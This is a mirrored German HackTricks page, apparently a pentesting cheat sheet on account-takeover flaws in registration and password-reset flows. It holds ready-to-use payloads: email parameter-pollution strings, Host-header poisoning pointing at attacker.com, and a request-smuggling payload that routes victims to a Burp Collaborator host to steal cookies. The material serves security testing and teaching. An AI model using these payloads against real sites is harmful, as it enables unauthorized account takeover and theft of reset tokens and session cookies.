mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
179 lines
7.8 KiB
Markdown
179 lines
7.8 KiB
Markdown
# Registrierung & Übernahmeanfälligkeiten
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## Registrierung Übernahme
|
|
|
|
### Doppelte Registrierung
|
|
|
|
- Versuchen Sie, einen bestehenden Benutzernamen zu verwenden
|
|
- Überprüfen Sie verschiedene E-Mail-Varianten:
|
|
- Großbuchstaben
|
|
- \+1@
|
|
- fügen Sie einen Punkt in der E-Mail hinzu
|
|
- Sonderzeichen im E-Mail-Namen (%00, %09, %20)
|
|
- Fügen Sie schwarze Zeichen nach der E-Mail hinzu: `test@test.com a`
|
|
- victim@gmail.com@attacker.com
|
|
- victim@attacker.com@gmail.com
|
|
|
|
### Benutzernamen Enumeration
|
|
|
|
Überprüfen Sie, ob Sie herausfinden können, ob ein Benutzername bereits in der Anwendung registriert ist.
|
|
|
|
### Passwort-Richtlinie
|
|
|
|
Erstellen Sie einen Benutzer und überprüfen Sie die Passwort-Richtlinie (überprüfen Sie, ob Sie schwache Passwörter verwenden können).\
|
|
In diesem Fall können Sie versuchen, Anmeldeinformationen zu bruteforcen.
|
|
|
|
### SQL-Injection
|
|
|
|
[**Überprüfen Sie diese Seite** ](sql-injection/index.html#insert-statement), um zu lernen, wie man Kontoübernahmen versucht oder Informationen über **SQL-Injections** in Registrierungsformularen extrahiert.
|
|
|
|
### Oauth-Übernahmen
|
|
|
|
{{#ref}}
|
|
oauth-to-account-takeover.md
|
|
{{#endref}}
|
|
|
|
### SAML-Anfälligkeiten
|
|
|
|
{{#ref}}
|
|
saml-attacks/
|
|
{{#endref}}
|
|
|
|
### E-Mail ändern
|
|
|
|
Versuchen Sie nach der Registrierung, die E-Mail zu ändern, und überprüfen Sie, ob diese Änderung korrekt validiert wird oder ob Sie sie auf beliebige E-Mails ändern können.
|
|
|
|
### Weitere Überprüfungen
|
|
|
|
- Überprüfen Sie, ob Sie **wegwerfbare E-Mails** verwenden können
|
|
- **Lange** **Passwörter** (>200) führen zu **DoS**
|
|
- **Überprüfen Sie die Ratenlimits bei der Kontoerstellung**
|
|
- Verwenden Sie username@**burp_collab**.net und analysieren Sie den **Callback**
|
|
|
|
## **Passwortzurücksetzungsübernahme**
|
|
|
|
### Passwortzurücksetzung Token-Leck über Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
|
|
|
1. Fordern Sie eine Passwortzurücksetzung an Ihre E-Mail-Adresse an
|
|
2. Klicken Sie auf den Link zur Passwortzurücksetzung
|
|
3. Ändern Sie das Passwort nicht
|
|
4. Klicken Sie auf beliebige 3rd-Party-Websites (z.B.: Facebook, Twitter)
|
|
5. Fangen Sie die Anfrage im Burp Suite Proxy ab
|
|
6. Überprüfen Sie, ob der Referer-Header das Passwortzurücksetzungstoken leakt.
|
|
|
|
### Passwortzurücksetzung Vergiftung <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
|
|
|
1. Fangen Sie die Passwortzurücksetzungsanfrage in Burp Suite ab
|
|
2. Fügen Sie die folgenden Header in Burp Suite hinzu oder bearbeiten Sie sie: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
|
3. Leiten Sie die Anfrage mit dem modifizierten Header weiter\
|
|
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
|
4. Suchen Sie nach einer Passwortzurücksetzungs-URL basierend auf dem _Host-Header_ wie: `https://attacker.com/reset-password.php?token=TOKEN`
|
|
|
|
### Passwortzurücksetzung über E-Mail-Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
|
```powershell
|
|
# parameter pollution
|
|
email=victim@mail.com&email=hacker@mail.com
|
|
|
|
# array of emails
|
|
{"email":["victim@mail.com","hacker@mail.com"]}
|
|
|
|
# carbon copy
|
|
email=victim@mail.com%0A%0Dcc:hacker@mail.com
|
|
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
|
|
|
|
# separator
|
|
email=victim@mail.com,hacker@mail.com
|
|
email=victim@mail.com%20hacker@mail.com
|
|
email=victim@mail.com|hacker@mail.com
|
|
```
|
|
### IDOR bei API-Parametern <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
|
|
|
1. Angreifer müssen sich mit ihrem Konto anmelden und zur Funktion **Passwort ändern** gehen.
|
|
2. Starten Sie Burp Suite und intercepten Sie die Anfrage.
|
|
3. Senden Sie sie an den Repeater-Tab und bearbeiten Sie die Parameter: Benutzer-ID/E-Mail\
|
|
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
|
|
|
### Schwaches Passwort-Reset-Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
|
|
|
Das Passwort-Reset-Token sollte zufällig generiert und jedes Mal einzigartig sein.\
|
|
Versuchen Sie zu bestimmen, ob das Token abläuft oder ob es immer dasselbe ist. In einigen Fällen ist der Generierungsalgorithmus schwach und kann erraten werden. Die folgenden Variablen könnten vom Algorithmus verwendet werden.
|
|
|
|
- Zeitstempel
|
|
- Benutzer-ID
|
|
- E-Mail des Benutzers
|
|
- Vorname und Nachname
|
|
- Geburtsdatum
|
|
- Kryptographie
|
|
- Nur Zahlen
|
|
- Kleine Token-Sequenz (Zeichen zwischen \[A-Z,a-z,0-9])
|
|
- Token-Wiederverwendung
|
|
- Ablaufdatum des Tokens
|
|
|
|
### Leckendes Passwort-Reset-Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
|
|
|
1. Lösen Sie eine Passwort-Reset-Anfrage über die API/UI für eine bestimmte E-Mail aus, z.B.: test@mail.com
|
|
2. Überprüfen Sie die Serverantwort und suchen Sie nach `resetToken`
|
|
3. Verwenden Sie dann das Token in einer URL wie `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
|
|
|
### Passwort-Reset über Benutzernamen-Kollision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
|
|
|
1. Registrieren Sie sich im System mit einem Benutzernamen, der identisch mit dem Benutzernamen des Opfers ist, jedoch mit Leerzeichen vor und/oder nach dem Benutzernamen. z.B.: `"admin "`
|
|
2. Fordern Sie einen Passwort-Reset mit Ihrem böswilligen Benutzernamen an.
|
|
3. Verwenden Sie das Token, das an Ihre E-Mail gesendet wurde, und setzen Sie das Passwort des Opfers zurück.
|
|
4. Melden Sie sich mit dem neuen Passwort beim Konto des Opfers an.
|
|
|
|
Die Plattform CTFd war anfällig für diesen Angriff.\
|
|
Siehe: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
|
|
|
### Kontoübernahme über Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
|
|
|
1. Finden Sie ein XSS innerhalb der Anwendung oder einer Subdomain, wenn die Cookies auf die übergeordnete Domain beschränkt sind: `*.domain.com`
|
|
2. Lecken Sie das aktuelle **Sitzungscookie**
|
|
3. Authentifizieren Sie sich als der Benutzer mit dem Cookie
|
|
|
|
### Kontoübernahme über HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
|
|
|
1\. Verwenden Sie **smuggler**, um die Art des HTTP Request Smuggling (CL, TE, CL.TE) zu erkennen\
|
|
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
|
2\. Erstellen Sie eine Anfrage, die `POST / HTTP/1.1` mit den folgenden Daten überschreibt:\
|
|
`GET http://something.burpcollaborator.net HTTP/1.1 X:` mit dem Ziel, die Opfer zu burpcollab umzuleiten und ihre Cookies zu stehlen\
|
|
3\. Die endgültige Anfrage könnte wie folgt aussehen
|
|
```
|
|
GET / HTTP/1.1
|
|
Transfer-Encoding: chunked
|
|
Host: something.com
|
|
User-Agent: Smuggler/v1.0
|
|
Content-Length: 83
|
|
0
|
|
|
|
GET http://something.burpcollaborator.net HTTP/1.1
|
|
X: X
|
|
```
|
|
Hackerone-Berichte über die Ausnutzung dieses Fehlers\
|
|
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
|
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
|
|
|
### Kontoübernahme über CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
|
|
|
1. Erstellen Sie ein Payload für das CSRF, z.B.: „HTML-Formular mit automatischer Übermittlung für eine Passwortänderung“
|
|
2. Senden Sie das Payload
|
|
|
|
### Kontoübernahme über JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
|
|
|
JSON Web Token könnte verwendet werden, um einen Benutzer zu authentifizieren.
|
|
|
|
- Bearbeiten Sie das JWT mit einer anderen Benutzer-ID / E-Mail
|
|
- Überprüfen Sie die schwache JWT-Signatur
|
|
|
|
{{#ref}}
|
|
hacking-jwt-json-web-tokens.md
|
|
{{#endref}}
|
|
|
|
## Referenzen
|
|
|
|
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|